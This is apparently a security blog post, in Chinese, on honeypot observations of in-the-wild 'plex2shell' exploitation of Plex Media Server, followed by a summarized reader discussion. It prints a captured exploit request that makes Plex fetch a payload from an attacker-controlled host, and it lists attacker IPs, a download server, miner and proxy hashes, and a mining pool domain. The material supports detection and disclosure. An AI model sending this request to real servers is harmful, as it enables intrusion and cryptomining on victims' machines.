这只是个挖矿程序，对受害者影响不大，但威胁行为者可能部署更复杂的东西；Plex（Plex）常托管于住宅 IP，攻击者或借住宅 IP 代理访问企业 VPN 和邮件。2026年9月1日，Plex 发邮件并发布安全公告，涉及 Plex 媒体服务器（Plex Media Server）v1.43.2 及更早版本的重要安全更新。出于好奇，我搭建了运行脆弱 Plex 版本的蜜罐，想看看漏洞详情与在野利用。公告细节有限，官方称会更新页面补充细节，我便持续关注。
正文
简介
2026 年 9 月 1 日，Plex 发出邮件并发布安全公告，提醒进行重要安全更新。公告见 Plex 论坛帖子。
这只是一个加密挖矿程序。对受害者来说不算大事，但我也没写到什么特别有意思的内容。我不意外威胁行为者会部署更复杂的东西：Plex 可能架设在住宅 IP 上，而威胁行为者应该很想拿到住宅 IP 代理，用来访问企业 VPN 和邮件。（后面更新中，我已经看到代理被部署了。）
作为安全从业者兼 Plex 用户，我很好奇这个漏洞到底是什么，也想看看有没有在野利用。于是我搭了一个运行易受攻击版本 Plex 的蜜罐。起初细节很少，官方说会在页面补充更多细节，我就一直盯着，但没看到什么。直到 9 月 26 日，我看到若干 CVE 被公开（CVE 列表），不过其中没有 CVSS 评分达到 9 分以上的。它们倒是带了一篇当时还没发布的博文链接，指向 zmain.info 的 plex2shell。博文原定 10 月中旬发布，所以我一直等到 10 月 16 日（也就是前一天）终于看到更新。作者发现并把多个漏洞串联起来，实现了远程代码执行，这挺厉害的。相关 CVE 包括：
- CVE-2026-96652
- CVE-2026-96654
- CVE-2026-96655
- CVE-2026-96656
他们的代码见 plex2shell。我也在实验环境做了测试，并把用于检测/特征开发的 pcap 放在了 plex2shell_pcap。
Plex2Shell 在野利用
我的蜜罐大多只看到扫描和通用漏洞利用尝试。直到 10 月 17 日早上，我终于观察到了在野利用。默认情况下，我不允许蜜罐主动外连，但由于这个漏洞的利用方式，我后来才去改了设置，所以很遗憾并没有拿到所有攻击的载荷，数据可能不完整。我还没细看 pcap，tcpdump 也得改设置。攻击者也可能用了稍微改过的代码和技术。
以下是我观察到的情况。
第一次利用尝试来自 45.194.92.222。Zeek 日志里的请求如下：
“uri”: "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN1681033e9a7317471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc0cf927be72d217471", “user_agent”: "Python-urllib/3.10",
以下两个 IP 也参与了利用：
- 91.92.40.202
- 176.65.139.228
我回去把蜜罐配置改成允许外连，随后看到 45.194.92.222 仍在继续利用。这一次我在日志里发现，有文件从 217.60.194.116 被下载。
Docker 文件中包含以下内容：
当然，这就是个加密挖矿程序。
IOC：
要检测这类攻击，可以看前面给的 GitHub pcap 链接，以及原作者的代码。下面这些 IOC 仅来自蜜罐实际观察到的内容。
截至写这些文字时，参与利用的 IP 有：
- 91.92.40.202
- 176.65.139.228
- 45.194.92.222
- 176.65.139.228
恶意文件下载来源：
- 217.60.194.116（docker 和 x）
文件哈希：
- 5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 docker
- 68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 x（UPX 加壳）
- b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 x（UPX 脱壳后）
更新：10 月 17 日（第二次）
我看到更多活动，并把相关工件放到了 GitHub 上。
还看到有 “myawesomeproxy” 在运行（我没时间分析它，不过已经放到 GitHub 上了）。
哈希：
- e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 myawesomeproxy
- 2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db xmrig
运行时它会打印下面这句话：
“Running this software on any of your devices makes you agree to the potential external use of your internet traffic”
myawesomeproxy 的沙箱报告：
我还看到一些与 proxystream.st 相关的流量，并找到了这篇文章：Bitsight 关于 Aisuru 的分析。通过搜索找到的类似样本：Joe Sandbox 分析、VirusTotal 检测结果。
更新：10 月 18 日（第二次）
因为一直没看到太多相关信息，我登录了自己那个老得不能再老的 Reddit 账号，发了这个讨论，想看看有没有其他人受影响：Reddit 讨论帖。
发现该漏洞的作者也发布了检测规则：检测规则。
评论
讨论以真实中招经历和安全提醒为主，气氛偏警惕与无奈：多位用户报告自己的 Plex 或家庭服务器被植入挖矿程序，靠处理器占用异常才察觉。分歧主轴在于责任归属——是旧版 Plex 未修补、macOS 等系统补丁没打，还是根本不该把 Plex 直接开放到公网；另有人借机批评 Plex 新版界面缓慢，已改用 Jellyfin。
认为旧版 Plex 漏洞已在 8 月修补，未及时升级才是中招原因
- 受影响的主要是未升级的旧版 Plex；有用户漏看升级邮件、运行 13 个月前的版本后，服务器处理器被挖矿程序占满，说明及时修补能避开原帖所说的旧漏洞。（较多人）
- 需要引用时，只用一句中文意译： > 受影响的是较旧版本的 Plex，而且相关漏洞在 8 月就已修补。（@2OEH8eoCRo0）
认为家用 Plex 机器即便不做开发也会被植入挖矿程序，入侵常表现为处理器占满
- 有用户的机器平时只跑 Plex 等家庭服务、完全不做开发，却仍被入侵；另一人在家庭服务器上发现名为 mylovelyminer 的挖矿进程把处理器占满，两者都说明只做轻度家用也不能放松安全，且入侵往往有明显性能异常可循。（较多人）
- 需要引用时，只用一句中文意译： > 我漏看了升级提醒、还在跑 13 个月前的旧版，随后发现家庭服务器处理器被一个叫 mylovelyminer 的挖矿进程占满。（@iamjackg）
认为中招未必是原帖所说的旧版 Plex 漏洞，系统补丁缺失同样可被利用
- 有受害者表示自己的 Plex 已经是最新版，中招可能是另一个 Plex 漏洞，也可能是因为 macOS 没装一个重要安全更新，而该更新正与远程代码执行漏洞有关；因此不能只盯旧版 Plex，操作系统补丁滞后同样会让只跑 Plex 的机器被入侵。（少数人）
- 需要引用时，只用一句中文意译： > 我的 Plex 安装是最新版，但 macOS 落后于一个和远程代码执行有关的重要安全更新，所以被入侵未必是原帖讲的旧 Plex 漏洞。（@xavdid）
认为不该把 Plex 服务器直接暴露在公网上
- 面对公网可访问的 Plex 服务器这一前提，有人直接表示震惊，认为把这类服务开放到外网风险极高，质疑为什么会有人这样部署。（少数人）
- 需要引用时，只用一句中文意译： > 把 Plex 服务器直接开放到公网太可怕了，真会有人这么部署吗？（@foobarian）
认为 Plex 新版界面和性能倒退，已改用 Jellyfin
- 有人抱怨 Plex 最近的界面更新后在电脑浏览器以外的平台上极慢、几乎不可用，只能转向 Jellyfin，并讽刺新改动像是凭感觉乱写出来的，反映出部分用户对 Plex 现状的强烈不满。（少数人）
- 需要引用时，只用一句中文意译： > Plex 最新界面更新后在电脑浏览器以外的平台上慢到没法用，Jellyfin 成了唯一选择，让人怀疑新功能是凭感觉写出来的。（@coreyburnsdev）
有价值的补充
- 挖矿程序常把恶意文件放在“资源库/应用程序支持”目录下的文件夹里，并伪装成 icloud-services 之类的系统进程名，长期占用全部处理器资源；其中一个配置文件里出现了门罗币矿池地址，指向 moneroocean 的域名（如 gulf.moneroocean.stream），清除时要同时删除文件和启动守护进程。
- 有用户提到，由于苹果系统一向给人稳定的印象，发现处理器被占满时第一反应竟是“苹果又出了死循环漏洞”，而不是“中了恶意软件”，这种对系统的信任反而延误了判断。
- 另一个被发现的挖矿进程直接取名 mylovelyminer，说明攻击者有时并不费力隐藏，性能监控和服务器占用告警是发现入侵的关键。